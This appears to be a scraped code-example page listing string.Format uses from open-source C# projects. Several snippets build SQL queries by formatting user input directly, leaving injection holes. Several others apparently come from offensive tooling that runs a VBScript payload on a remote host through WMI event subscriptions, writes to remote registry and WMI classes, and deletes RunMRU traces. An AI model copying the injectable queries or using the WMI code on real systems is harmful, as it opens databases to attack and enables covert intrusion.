string.Format(string, object)

Here are the examples of the csharp api string.Format(string, object) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

25222 Examples 7

19 Source : HealthMonitor.cs
with MIT License
from 0ffffffffh

private bool RecoverBackendAndPreplacedWorkingMemcachedInstance()
        {
            string preplacedingArg;

            if (this.procType != ProcessType.BackendProcess)
            {
                return false;
            }

            preplacedingArg = string.Format("-mpid {0}", MemcachedHealthMon.pid);

            
            if (Program.MEMCACHED_PORT > 0)
                preplacedingArg += string.Format(" -mport {0}", Program.MEMCACHED_PORT);


            return RestartProcessWithExistedInfo(preplacedingArg);
        }

19 Source : SozlukDataStore.cs
with MIT License
from 0ffffffffh

public static Suser GetSuser(string suser)
        {

            string query = string.Format(GET_SUSER_SQL, suser.Trim().ToLower());
            Suser suserObject = null;

            if (!CacheManager.TryGetCachedQueryResult<Suser>(query,out suserObject))
            {
                SqlServerIo sql = SqlServerIo.Create();
                
                if (sql.Execute(false, query))
                {
                    if (sql.Read())
                    {
                        suserObject = new Suser(
                            0,
                            sql.GetValueOfColumn<string>("Suser"),
                            sql.GetValueOfColumn<string>("Preplacedword")
                            );

                    }
                    
                }

                SqlServerIo.Release(sql);
                
            }
            
            return suserObject;
        }

19 Source : RequestObject.cs
with MIT License
from 0ffffffffh

private void Parse(string data)
        {
            string key,value, tagEnd;

            int beg=-1, end=0;

            beg = data.IndexOf("<", beg+1);

            while (beg != -1)
            {
                end = data.IndexOf(">", beg);

                if (end == -1)
                    break;

                beg++;

                key = data.Substring(beg, end - beg);

                tagEnd = string.Format("</{0}>", key);

                beg = end + 1;

                end = data.IndexOf(tagEnd, beg);

                if (end == -1)
                    break;

                value = data.Substring(beg, end - beg);

                items.Add(key.ToLower(), NormalizeValue(value));

                beg = data.IndexOf("<", end + 1);
            }

        }

19 Source : MemcachedInstance.cs
with MIT License
from 0ffffffffh

public static MemcachedInstance CreateInstanceFromExist(int pid, ushort port, string name)
        {
            MemcachedInstance inst = new MemcachedInstance(0, name, port);

            if (!inst.PutInstance(inst, inst.name))
                throw new Exception(string.Format("{0} is already registered!", inst.name));

            inst.process = MemcachedProcess.Attach(pid);

            if (inst.process == null)
            {
                inst.RemoveInstance(name);
                inst = null;
                return null;
            }

            inst.process.Tag = name;
            inst.process.Exited += inst.Process_Exited;

            return inst;
        }

19 Source : MemcachedInstance.cs
with MIT License
from 0ffffffffh

public bool Start()
        {
            if (!PutInstance(this, this.name))
                throw new Exception(string.Format("{0} is already registered!", this.name));

            process = MemcachedProcess.FireUp(this.memSize, this.port);

            if (process == null)
            {
                RemoveInstance(this.name);
                return false;
            }

            process.Tag = this.name;
            process.Exited += Process_Exited;

            return true;
        }

19 Source : SozlukDataStore.cs
with MIT License
from 0ffffffffh

private static string BuildFetchAllSQLQuery(ref string baseQueryHash, int rowBegin, int rowEnd, char indexChar)
        {
            string query;

            if (!CacheManager.TryGetCachedResult<string>(baseQueryHash, out query))
            {
                query = SEARCH_SQL_ALL_BASE;

                if ((indexChar >= 'a' && indexChar <= 'z'))
                {
                    query = query.Replace("%%CONDITION%%",
                        string.Format(" WHERE (LEFT(Baslik,1) = '{0}')", indexChar));
                }
                else if (indexChar == '*')
                {
                    query = query.Replace("%%CONDITION%%",
                        string.Format(" WHERE (LEFT(Baslik,1) >= '0' AND LEFT(Baslik,1) <= '9')"));
                }
                else if (indexChar == '.')
                {
                    query = query.Replace("%%CONDITION%%", "");
                }

                
                baseQueryHash = Helper.Md5(query);

                CacheManager.CacheObject(baseQueryHash, query);
            }

            query = query.Replace("%%ROW_LIMIT_CONDITION%%", 
                string.Format("(RowNum BETWEEN {0} AND {1})", rowBegin, rowEnd));

            return query;
        }

19 Source : SozlukDataStore.cs
with MIT License
from 0ffffffffh

private static string BuildFetchSQLQuery(
            ref string baseQueryHash,
            string content, 
            string suser, 
            DateTime begin, DateTime end,
            int rowBegin,int rowEnd)
        {
            bool linkAnd = false;
            string query;

            StringBuilder sb = new StringBuilder();
            StringBuilder cond = new StringBuilder();

            if (!CacheManager.TryGetCachedResult<string>(baseQueryHash, out query))
            {

                if (!string.IsNullOrEmpty(suser))
                    sb.AppendFormat(SEARCH_SUSER_ID_GET_SQL, suser.Trim());

                if (!string.IsNullOrEmpty(content))
                {
                    cond.AppendFormat(SEARCH_COND_CONTENT, content.Trim());
                    linkAnd = true;
                }

                if (!string.IsNullOrEmpty(suser))
                {
                    if (linkAnd)
                        cond.Append(" AND ");
                    else
                        linkAnd = true;

                    cond.Append(SEARCH_COND_SUSER);
                }

                if (begin != DateTime.MinValue && end != DateTime.MinValue)
                {
                    if (linkAnd)
                        cond.Append(" AND ");

                    cond.AppendFormat(SEARCH_COND_DATE, begin.ToString(), end.ToString());

                }

                sb.Append(SEARCH_SQL_BASE);

                if (cond.Length > 0)
                {
                    cond.Insert(0, "WHERE ");
                    sb.Replace("%%CONDITIONS%%", cond.ToString());
                }
                else
                {
                    sb.Replace("%%CONDITIONS%%", string.Empty);
                }

                if (!string.IsNullOrEmpty(content))
                    sb.Replace("%%COUNT_CONDITION%%", string.Format(SEARCH_COND_COUNT_CONTENT, content));
                else
                    sb.Replace("%%COUNT_CONDITION%%", SEARCH_COND_COUNT_ALL);


                if (!string.IsNullOrEmpty(suser))
                    sb.Append(" AND EntryCount > 0");

                sb.Append(";");

                baseQueryHash = Helper.Md5(sb.ToString());

                CacheManager.CacheObject(baseQueryHash, sb.ToString());
            }
            else
            {
                sb.Append(query);
            }

            sb.Replace("%%ROW_LIMIT_CONDITION%%",
                string.Format("RowNum BETWEEN {0} AND {1}", rowBegin, rowEnd));
            
            query = sb.ToString();

            cond.Clear();
            sb.Clear();

            cond = null;
            sb = null;

            return query;
        }

19 Source : SozlukDataStore.cs
with MIT License
from 0ffffffffh

private static string BuildEntryFetchSQL(string baslik, int baslikId, int pageNumber)
        {
            int rowBegin, rowEnd;
            string query, searchCondition;
            rowBegin = (pageNumber * RecordsPerPage) + 1;
            rowEnd = rowBegin + RecordsPerPage - 1;

            if (baslikId > 0)
                searchCondition = "Basliks.Id = " + baslikId.ToString();
            else
                searchCondition = string.Format("Basliks.Baslik = '{0}'", baslik);

            query = GET_ENTRIES_OF_BASLIK_SQL_BASE.Replace("%%BASLIK_SEARCH_CONDITION%%", searchCondition);


            query = query.Replace("%%ROW_LIMIT_CONDITION%%",
                string.Format("RowNum BETWEEN {0} AND {1}", rowBegin, rowEnd));

            return query;
        }

19 Source : Log.cs
with MIT License
from 0ffffffffh

private static void Write(LogType type, string format, params object[] args)
        {
            ConsoleColor typeColor,origColor;
            ulong mask = (ulong)type;

            string log = string.Format(format, args);

            logFile.Write(type.ToString() + ": " + log);

            if ((logMask & mask) == mask)
            {
                typeColor = GetColorByLogType(type);

                lock (consLock)
                {
                    origColor = Console.ForegroundColor;
                    Console.ForegroundColor = typeColor;

                    Console.Write(string.Format("{0}: ", type.ToString()));

                    Console.ForegroundColor = origColor;

                    Console.WriteLine(log);
                }
            }
        }

19 Source : DBHelperMySQL.cs
with Apache License 2.0
from 0nise

private static Hashtable getAllHistorySumMoney(Hashtable userInfo)
        {
            Hashtable userBlank = new Hashtable();
            MySqlConnection connection = null;
            try
            {
                connection = ConnectionPool.getPool().getConnection();
                // 链接为null就执行等待
                while (connection == null)
                {

                }
                foreach (DictionaryEntry item in userInfo)
                {
                    string sql = string.Format("SELECT SUM(ABS(money)) as money FROM ichunqiu_blank_history WHERE user_qq = '{0}' AND operation = '0'", item.Key);
                    using (MySqlCommand mySqlCommand = new MySqlCommand(sql, connection))
                    {
                        using (MySqlDataReader myDataReader = mySqlCommand.ExecuteReader())
                        {
                            while (myDataReader.Read() == true)
                            {
                                if (myDataReader["money"] is DBNull)
                                {
                                    userBlank.Add(userInfo[item.Key], 0);
                                }
                                else
                                {
                                    userBlank.Add(userInfo[item.Key], myDataReader["money"]);
                                }
                                break;
                            }
                        }
                    }
                }
            }
            catch (Exception)
            {
                throw;
            }
            finally {
                if (connection != null)
                {
                    connection.Close();
                }
                // 关闭数据库链接
                ConnectionPool.getPool().closeConnection(connection);
            }
            return userBlank;
        }

19 Source : GroupMemberIncreasedMahuaEvent.cs
with Apache License 2.0
from 0nise

public void ProcessGroupMemberIncreased(GroupMemberIncreasedContext context)
        {
            // 
            string joinedQQ = context.JoinedQq;
            string sendMessage = string.Format("[CQ:at,qq={0}]\n欢迎您加入技术交流群,我是AlphaRebot智能机器人,艾特我回复“指令”两个字可以为您提供i春秋知识库哦。", joinedQQ);
            _mahuaApi.SendGroupMessage(context.FromGroup, sendMessage);
        }

19 Source : Program.cs
with GNU General Public License v3.0
from 0x2b00b1e5

static void Main(string[] args)
        {
            try
            {
                PrintIntro();
                GetInfo();
                GetFLPaths();
                bool go = Review();
                if (go)
                {
                    Execute();
                    System.Threading.Thread.Sleep(2000);
                    Environment.Exit(0);
                }
                if (!go)
                {
                    Console.WriteLine("\nOperation cancelled");
                    System.Threading.Thread.Sleep(2000);
                    Environment.Exit(-1);
                }
            }
            catch(Exception e)
            {
                Console.WriteLine(string.Format("ERR: {0}", e.Message));
               Environment.Exit(-1);
            }
        }

19 Source : Program.cs
with GNU General Public License v3.0
from 0x2b00b1e5

static void GetFLPaths()
        {
            string path = (string)Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Image-Line\\Shared\\Paths", "FL Studio", null);
            if(path == null)
            {
                Console.WriteLine("No FL Studio path detected!\n\n");
                Console.Write("Please enter full path to the FL Studio executable: ");
                string output = Console.ReadLine();
                System.Diagnostics.FileVersionInfo FLInf = System.Diagnostics.FileVersionInfo.GetVersionInfo(output);
                if (FLInf.ProductName != "FL Studio")
                {
                    Console.WriteLine("\n   This file doesn't appear to be a FL Studio executable...try again!");
                    GetFLPaths();
                }
                FLStudioPaths = output;
            }
            else
            {
                FLStudioPaths = path;
                Console.WriteLine(string.Format("Found FL Studio at path: {0}", path));
                Console.WriteLine("Correct? (Y/N)");
                switch (Console.ReadKey().Key)
                {
                    case ConsoleKey.Y:
                        break;
                    case ConsoleKey.N:
                        Console.Write("Please enter full path to the FL Studio executable: ");
                        string output = Console.ReadLine();
                        output.Replace("\"", string.Empty);
                        System.Diagnostics.FileVersionInfo FLInf = System.Diagnostics.FileVersionInfo.GetVersionInfo(output);
                        if (FLInf.ProductName != "FL Studio")
                        {
                            Console.WriteLine("\n   This file doesn't appear to be a FL Studio executable...try again!");
                            System.Threading.Thread.Sleep(1000);
                            GetFLPaths();
                        }
                        FLStudioPaths = output;
                        break;
                }
            }
            
        }

19 Source : Program.cs
with GNU General Public License v3.0
from 0x2b00b1e5

static bool Review()
        {
            Console.WriteLine("\n Please review these settings: \n");
            Console.WriteLine("-------------------------------------------------------------------------------");
            Console.WriteLine("Shortcuts:");
            Console.WriteLine(string.Format("   Replace desktop shortcuts: {0} \n", ReplaceDesktop.ToString()));
            if (WriteShortcuts[0] == "")
            {
                Console.WriteLine(string.Format("   Don't write additional shortcuts"));
            }
            else
            {
                Console.WriteLine(string.Format("   Write additional shortcuts to: \n"));
                foreach(string p in WriteShortcuts)
                {
                    Console.WriteLine(string.Format("       {0}", p));
                }
                Console.WriteLine();
            }
            Console.WriteLine("-------------------------------------------------------------------------------");
            Console.WriteLine("FL Studio versions:\n");
            Console.WriteLine(string.Format("   Path: {0}", FLStudioPaths));
            if(VersionNumber == ""){ Console.WriteLine("    No version specified\n"); }
            else
            { Console.WriteLine(string.Format("   Version: {0}\n", VersionNumber)); }
            Console.WriteLine("-------------------------------------------------------------------------------\n");
            Console.WriteLine("Are these settings OK? (Y/N)");
            switch (Console.ReadKey().Key)
            {
                case ConsoleKey.Y:
                    return true;
                case ConsoleKey.N:
                    return false;
            }
            return false;
        }

19 Source : Program.cs
with GNU General Public License v3.0
from 0x2b00b1e5

static void Execute()
        {
            string batchpath = Path.Combine(FolderExe, "SHORTCUT.bat");
            CreateBatch(FLStudioPaths, batchpath);
            if (ReplaceDesktop)
            {
                CreateShortcut(string.Format("FL Studio {0}", VersionNumber), Environment.GetFolderPath(Environment.SpecialFolder.Desktop), batchpath, IconPath());
                CreateShortcut(string.Format("FL Studio {0}", VersionNumber), Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Programs), "Image-Line"), batchpath, IconPath());
                CreateShortcut(string.Format("FL Studio {0}", VersionNumber), Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft\\Windows\\Start Menu\\Programs\\Image-Line"), batchpath, IconPath());

            }
                if (WriteShortcuts[0] != "")
                {
                    foreach (string p in WriteShortcuts)
                    {
                        string realP = p.Replace(@"""", string.Empty);
                        CreateShortcut(string.Format("FL Studio {0}", VersionNumber), realP , batchpath, IconPath());
                    }
                }
            Console.WriteLine("\n\n Done, Thank you!");
        }

19 Source : Program.cs
with GNU General Public License v3.0
from 0x2b00b1e5

public static void CreateBatch(string pathToFL, string outputPath)
        {
            string[] lines = new string[] { "@echo off", "replacedLE FL Studio Launcher" , "ECHO Launching FL Studio", string.Empty, "REM Change this if FL Studio was installed elsewhere", @"start """" " + string.Format(@"""{0}""", pathToFL), string.Empty, "ECHO FL Studio launched", "ECHO.", "ECHO Cancel if RPC shouldn't be enabled", "TIMEOUT /T 10 /NOBREAK", string.Format("start \"\" \"{0}\"", Path.Combine(FolderExe, "FLRPC-GUI.exe")) };
            System.IO.File.WriteAllLines(outputPath, lines);
        }

19 Source : Program.cs
with MIT License
from 0xDivyanshu

public void AddSingle(string argument, string value)
        {
            if (!_parameters.ContainsKey(argument))
                _parameters.Add(argument, new Collection<string>());
            else
                throw new ArgumentException(string.Format("Argument {0} has already been defined", argument));

            _parameters[argument].Add(value);
        }

19 Source : Program.cs
with MIT License
from 0xDivyanshu

private void replacedertSingle(string argument)
        {
            if (this[argument] != null && this[argument].Count > 1)
                throw new ArgumentException(string.Format("{0} has been specified more than once, expecting single value", argument));
        }

19 Source : AesGcm.cs
with GNU General Public License v3.0
from 0xfd3

public byte[] Decrypt(byte[] key, byte[] iv, byte[] aad, byte[] cipherText, byte[] authTag)
        {
            IntPtr hAlg = OpenAlgorithmProvider(BCrypt.BCRYPT_AES_ALGORITHM, BCrypt.MS_PRIMITIVE_PROVIDER, BCrypt.BCRYPT_CHAIN_MODE_GCM);
            IntPtr hKey, keyDataBuffer = ImportKey(hAlg, key, out hKey);

            byte[] plainText;

            var authInfo = new BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(iv, aad, authTag);
            using (authInfo)
            {
                byte[] ivData = new byte[MaxAuthTagSize(hAlg)];

                int plainTextSize = 0;

                uint status = BCrypt.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, null, 0, ref plainTextSize, 0x0);

                if (status != BCrypt.ERROR_SUCCESS)
                    throw new CryptographicException(string.Format("BCrypt.BCryptDecrypt() (get size) failed with status code: {0}", status));

                plainText = new byte[plainTextSize];

                status = BCrypt.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, plainText, plainText.Length, ref plainTextSize, 0x0);

                if (status == BCrypt.STATUS_AUTH_TAG_MISMATCH)
                    throw new CryptographicException("BCrypt.BCryptDecrypt(): authentication tag mismatch");

                if (status != BCrypt.ERROR_SUCCESS)
                    throw new CryptographicException(string.Format("BCrypt.BCryptDecrypt() failed with status code:{0}", status));
            }

            BCrypt.BCryptDestroyKey(hKey);
            Marshal.FreeHGlobal(keyDataBuffer);
            BCrypt.BCryptCloseAlgorithmProvider(hAlg, 0x0);

            return plainText;
        }

19 Source : AesGcm.cs
with GNU General Public License v3.0
from 0xfd3

private IntPtr OpenAlgorithmProvider(string alg, string provider, string chainingMode)
        {
            IntPtr hAlg = IntPtr.Zero;

            uint status = BCrypt.BCryptOpenAlgorithmProvider(out hAlg, alg, provider, 0x0);

            if (status != BCrypt.ERROR_SUCCESS)
                throw new CryptographicException(string.Format("BCrypt.BCryptOpenAlgorithmProvider() failed with status code:{0}", status));

            byte[] chainMode = Encoding.Unicode.GetBytes(chainingMode);
            status = BCrypt.BCryptSetAlgorithmProperty(hAlg, BCrypt.BCRYPT_CHAINING_MODE, chainMode, chainMode.Length, 0x0);

            if (status != BCrypt.ERROR_SUCCESS)
                throw new CryptographicException(string.Format("BCrypt.BCryptSetAlgorithmProperty(BCrypt.BCRYPT_CHAINING_MODE, BCrypt.BCRYPT_CHAIN_MODE_GCM) failed with status code:{0}", status));

            return hAlg;
        }

19 Source : Program.cs
with GNU General Public License v3.0
from 0xthirteen

static void WriteToFileWMI(string host, string eventName, string username, string preplacedword)
        {
            try
            {
                ConnectionOptions options = new ConnectionOptions();
                if (!String.IsNullOrEmpty(username))
                {
                    Console.WriteLine("[*] User credentials   : {0}", username);
                    options.Username = username;
                    options.Preplacedword = preplacedword;
                }
                Console.WriteLine();

                // first create a 5 second timer on the remote host
                ManagementScope timerScope = new ManagementScope(string.Format(@"\\{0}\root\cimv2", host), options);
                ManagementClreplaced timerClreplaced = new ManagementClreplaced(timerScope, new ManagementPath("__IntervalTimerInstruction"), null);
                ManagementObject myTimer = timerClreplaced.CreateInstance();
                myTimer["IntervalBetweenEvents"] = (UInt32)5000;
                myTimer["SkipIfPreplaceded"] = false;
                myTimer["TimerId"] = "Timer";
                try
                {
                    Console.WriteLine("[+] Creating Event Subscription {0}   : {1}", eventName, host);
                    myTimer.Put();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in creating timer object: {0}", ex.Message);
                    return;
                }

                ManagementScope scope = new ManagementScope(string.Format(@"\\{0}\root\subscription", host), options);

                // then install the __EventFilter for the timer object
                ManagementClreplaced wmiEventFilter = new ManagementClreplaced(scope, new ManagementPath("__EventFilter"), null);
                WqlEventQuery myEventQuery = new WqlEventQuery(@"SELECT * FROM __TimerEvent WHERE TimerID = 'Timer'");
                ManagementObject myEventFilter = wmiEventFilter.CreateInstance();
                myEventFilter["Name"] = eventName;
                myEventFilter["Query"] = myEventQuery.QueryString;
                myEventFilter["QueryLanguage"] = myEventQuery.QueryLanguage;
                myEventFilter["EventNameSpace"] = @"\root\cimv2";
                try
                {
                    myEventFilter.Put();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in setting event filter   : {0}", ex.Message);
                }


                // now create the ActiveScriptEventConsumer payload (VBS)
                ManagementObject myEventConsumer = new ManagementClreplaced(scope, new ManagementPath("ActiveScriptEventConsumer"), null).CreateInstance();

                myEventConsumer["Name"] = eventName;
                myEventConsumer["ScriptingEngine"] = "VBScript";
                myEventConsumer["ScriptText"] = vbsp;
                myEventConsumer["KillTimeout"] = (UInt32)45;

                try
                {
                    myEventConsumer.Put();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in setting event consumer: {0}", ex.Message);
                }


                // finally bind them together with a __FilterToConsumerBinding
                ManagementObject myBinder = new ManagementClreplaced(scope, new ManagementPath("__FilterToConsumerBinding"), null).CreateInstance();

                myBinder["Filter"] = myEventFilter.Path.RelativePath;
                myBinder["Consumer"] = myEventConsumer.Path.RelativePath;

                try
                {
                    myBinder.Put();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in setting FilterToConsumerBinding: {0}", ex.Message);
                }


                // wait for everything to trigger
                Console.WriteLine("\r\n[+] Waiting 10 seconds for event '{0}' to trigger\r\n", eventName);
                System.Threading.Thread.Sleep(10 * 1000);
                Console.WriteLine("[+] Done...cleaning up");
                // cleanup
                try
                {
                    myTimer.Delete();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in removing 'Timer' interval timer: {0}", ex.Message);
                }

                try
                {
                    myBinder.Delete();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in removing FilterToConsumerBinding: {0}", ex.Message);
                }

                try
                {
                    myEventFilter.Delete();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in removing event filter: {0}", ex.Message);
                }

                try
                {
                    myEventConsumer.Delete();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in removing event consumer: {0}", ex.Message);
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(String.Format("[X] Exception : {0}", ex.Message));
            }
        }

19 Source : Program.cs
with GNU General Public License v3.0
from 0xthirteen

static void WriteToWMIClreplaced(string host, string username, string preplacedword, string wnamespace, string clreplacedname)
        {
            ConnectionOptions options = new ConnectionOptions();
            Console.WriteLine("[+] Target             : {0}", host);
            if (!String.IsNullOrEmpty(username))
            {
                Console.WriteLine("[+] User               : {0}", username);
                options.Username = username;
                options.Preplacedword = preplacedword;
            }
            Console.WriteLine();
            ManagementScope scope = new ManagementScope(String.Format("\\\\{0}\\{1}", host, wnamespace), options);
            try
            {
                scope.Connect();
                Console.WriteLine("[+] WMI connection established");
            }
            catch (Exception ex)
            {
                Console.WriteLine("[X] Failed to connecto to WMI    : {0}", ex.Message);
                return;
            }
            try
            {
                var nclreplaced = new ManagementClreplaced(scope, new ManagementPath(string.Empty), new ObjectGetOptions());
                nclreplaced["__CLreplaced"] = clreplacedname;
                nclreplaced.Qualifiers.Add("Static", true);
                nclreplaced.Properties.Add("WinVal", CimType.String, false);
                nclreplaced.Properties["WinVal"].Qualifiers.Add("read", true);
                nclreplaced["WinVal"] = datavals;
                //nclreplaced.Properties.Add("Sizeof", CimType.String, false);
                //nclreplaced.Properties["Sizeof"].Qualifiers.Add("read", true);
                //nclreplaced.Properties["Sizeof"].Qualifiers.Add("Description", "Value needed for Windows");
                nclreplaced.Put();

                Console.WriteLine("[+] Create WMI Clreplaced     :   {0} {1}", wnamespace, clreplacedname);
            }
            catch (Exception ex)
            {
                Console.WriteLine(String.Format("[X] Error     :  {0}", ex.Message));
                return;
            }
        }

19 Source : GmicPipeServer.cs
with GNU General Public License v3.0
from 0xC0000054

private unsafe string PrepareCroppedLayers(InputMode inputMode, RectangleF cropRect)
        {
            if (inputMode == InputMode.NoInput)
            {
                return string.Empty;
            }

            IReadOnlyList<GmicLayer> layers = GetRequestedLayers(inputMode);

            if (layers.Count == 0)
            {
                return string.Empty;
            }

            if (memoryMappedFiles.Capacity < layers.Count)
            {
                memoryMappedFiles.Capacity = layers.Count;
            }

            StringBuilder reply = new StringBuilder();

            foreach (GmicLayer layer in layers)
            {
                Surface surface = layer.Surface;
                bool disposeSurface = false;
                int destinationImageStride = surface.Stride;

                if (cropRect != WholeImageCropRect)
                {
                    int cropX = (int)Math.Floor(cropRect.X * layer.Width);
                    int cropY = (int)Math.Floor(cropRect.Y * layer.Height);
                    int cropWidth = (int)Math.Min(layer.Width - cropX, 1 + Math.Ceiling(cropRect.Width * layer.Width));
                    int cropHeight = (int)Math.Min(layer.Height - cropY, 1 + Math.Ceiling(cropRect.Height * layer.Height));

                    try
                    {
                        surface = layer.Surface.CreateWindow(cropX, cropY, cropWidth, cropHeight);
                    }
                    catch (ArgumentOutOfRangeException ex)
                    {
                        throw new InvalidOperationException(string.Format("Surface.CreateWindow bounds invalid, cropRect={0}", cropRect.ToString()), ex);
                    }
                    disposeSurface = true;
                    destinationImageStride = cropWidth * ColorBgra.SizeOf;
                }

                string mapName = "pdn_" + Guid.NewGuid().ToString();

                try
                {
                    MemoryMappedFile file = MemoryMappedFile.CreateNew(mapName, surface.Scan0.Length);
                    memoryMappedFiles.Add(file);

                    using (MemoryMappedViewAccessor accessor = file.CreateViewAccessor())
                    {
                        byte* destination = null;
                        RuntimeHelpers.PrepareConstrainedRegions();
                        try
                        {
                            accessor.SafeMemoryMappedViewHandle.AcquirePointer(ref destination);

                            for (int y = 0; y < surface.Height; y++)
                            {
                                ColorBgra* src = surface.GetRowAddressUnchecked(y);
                                byte* dst = destination + (y * destinationImageStride);

                                Buffer.MemoryCopy(src, dst, destinationImageStride, destinationImageStride);
                            }
                        }
                        finally
                        {
                            if (destination != null)
                            {
                                accessor.SafeMemoryMappedViewHandle.ReleasePointer();
                            }
                        }
                    }
                }
                finally
                {
                    if (disposeSurface)
                    {
                        surface.Dispose();
                    }
                }

                reply.AppendFormat(
                    CultureInfo.InvariantCulture,
                    "{0},{1},{2},{3}\n",
                    mapName,
                    surface.Width.ToString(CultureInfo.InvariantCulture),
                    surface.Height.ToString(CultureInfo.InvariantCulture),
                    destinationImageStride.ToString(CultureInfo.InvariantCulture));
            }

            return reply.ToString();
        }

19 Source : Program.cs
with BSD 3-Clause "New" or "Revised" License
from 0xthirteen

static void CleanSingle(string command)
        {
            string keypath = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU";
            string keyvalue = string.Empty;
            string regcmd = string.Empty;
            if (command.EndsWith("\\1"))
            {
                regcmd = command;
            }
            else
            {
                regcmd = string.Format("{0}\\1", command);
            }
             
            try
            {
                RegistryKey regkey;
                regkey = Registry.CurrentUser.OpenSubKey(keypath, true);

                if (regkey.ValueCount > 0)
                {
                    foreach (string subKey in regkey.GetValueNames())
                    {
                        if(regkey.GetValue(subKey).ToString() == regcmd)
                        {
                            keyvalue = subKey;
                            regkey.DeleteValue(subKey);
                            Console.WriteLine(regcmd);
                            Console.WriteLine("[+] Cleaned {0} from HKCU:{1}", command, keypath);
                        }
                    }
                    if(keyvalue != string.Empty)
                    {
                        string mruchars = regkey.GetValue("MRUList").ToString();
                        int index = mruchars.IndexOf(keyvalue);
                        mruchars = mruchars.Remove(index, 1);
                        regkey.SetValue("MRUList", mruchars);
                    }
                }
                regkey.Close();
            }
            catch (ArgumentException)
            {
                Console.WriteLine("[-] Error: Selected Registry value does not exist");
            }
        }

19 Source : Program.cs
with GNU General Public License v3.0
from 0xthirteen

static void RemoveRegValue(string host, string username, string preplacedword, string keypath, string keyname)
        {
            if (!keypath.Contains(":"))
            {
                Console.WriteLine("[-] Please put ':' inbetween hive and path: HKCU:Location\\Of\\Key");
                return;
            }
            if (!String.IsNullOrEmpty(host))
            {
                host = "127.0.0.1";
            }
            string[] reginfo = keypath.Split(':');
            string reghive = reginfo[0];
            string wmiNameSpace = "root\\CIMv2";
            UInt32 hive = 0;
            switch (reghive.ToUpper())
            {
                case "HKCR":
                    hive = 0x80000000;
                    break;
                case "HKCU":
                    hive = 0x80000001;
                    break;
                case "HKLM":
                    hive = 0x80000002;
                    break;
                case "HKU":
                    hive = 0x80000003;
                    break;
                case "HKCC":
                    hive = 0x80000005;
                    break;
                default:
                    Console.WriteLine("[X] Error     :  Could not get the right reg hive");
                    return;
            }
            ConnectionOptions options = new ConnectionOptions();
            Console.WriteLine("[+] Target             : {0}", host);
            if (!String.IsNullOrEmpty(username))
            {
                Console.WriteLine("[+] User               : {0}", username);
                options.Username = username;
                options.Preplacedword = preplacedword;
            }
            Console.WriteLine();
            ManagementScope scope = new ManagementScope(String.Format("\\\\{0}\\{1}", host, wmiNameSpace), options);
            try
            {
                scope.Connect();
                Console.WriteLine("[+]  WMI connection established");
            }
            catch (Exception ex)
            {
                Console.WriteLine("[X] Failed to connecto to WMI    : {0}", ex.Message);
                return;
            }

            try
            {
                //Probably stay with string value only
                ManagementClreplaced registry = new ManagementClreplaced(scope, new ManagementPath("StdRegProv"), null);
                ManagementBaseObject inParams = registry.GetMethodParameters("DeleteValue");
                inParams["hDefKey"] = hive;
                inParams["sSubKeyName"] = keypath;
                inParams["sValueName"] = keyname;
                ManagementBaseObject outParams1 = registry.InvokeMethod("DeleteValue", inParams, null);
                Console.WriteLine("[+] Deleted value at {0} {1}", keypath, keyname);
            }
            catch (Exception ex)
            {
                Console.WriteLine(String.Format("[-] {0}", ex.Message));
                return;
            }
        }

19 Source : Program.cs
with GNU General Public License v3.0
from 0xthirteen

static void RemoveWMIClreplaced(string host, string username, string preplacedword, string wnamespace, string clreplacedname)
        {
            if (!String.IsNullOrEmpty(wnamespace))
            {
                wnamespace = "root\\CIMv2";
            }
            if (!String.IsNullOrEmpty(host))
            {
                host = "127.0.0.1";
            }
            ConnectionOptions options = new ConnectionOptions();
            Console.WriteLine("[+] Target             : {0}", host);
            if (!String.IsNullOrEmpty(username))
            {
                Console.WriteLine("[+] User               : {0}", username);
                options.Username = username;
                options.Preplacedword = preplacedword;
            }
            Console.WriteLine();
            ManagementScope scope = new ManagementScope(String.Format("\\\\{0}\\{1}", host, wnamespace), options);
            try
            {
                scope.Connect();
                Console.WriteLine("[+]  WMI connection established");
            }
            catch (Exception ex)
            {
                Console.WriteLine("[X] Failed to connecto to WMI    : {0}", ex.Message);
                return;
            }
            try
            {
                var rmclreplaced = new ManagementClreplaced(scope, new ManagementPath(clreplacedname), new ObjectGetOptions());
                rmclreplaced.Delete();
            }
            catch (Exception ex)
            {
                Console.WriteLine(String.Format("[-] {0}", ex.Message));
                return;
            }
        }

19 Source : FileWrite.cs
with GNU General Public License v3.0
from 0xthirteen

static void WriteToRegKey(string host, string username, string preplacedword, string keypath, string valuename)
        {
            if (!keypath.Contains(":"))
            {
                Console.WriteLine("[-] Please put ':' inbetween hive and path: HKCU:Location\\Of\\Key");
                return;
            }
            string[] reginfo = keypath.Split(':');
            string reghive = reginfo[0];
            string wmiNameSpace = "root\\CIMv2";
            UInt32 hive = 0;
            switch (reghive.ToUpper())
            {
                case "HKCR":
                    hive = 0x80000000;
                    break;
                case "HKCU":
                    hive = 0x80000001;
                    break;
                case "HKLM":
                    hive = 0x80000002;
                    break;
                case "HKU":
                    hive = 0x80000003;
                    break;
                case "HKCC":
                    hive = 0x80000005;
                    break;
                default:
                    Console.WriteLine("[X] Error     :  Could not get the right reg hive");
                    return;
            }
            ConnectionOptions options = new ConnectionOptions();
            Console.WriteLine("[+] Target             : {0}", host);
            if (!String.IsNullOrEmpty(username))
            {
                Console.WriteLine("[+] User               : {0}", username);
                options.Username = username;
                options.Preplacedword = preplacedword;
            }
            Console.WriteLine();
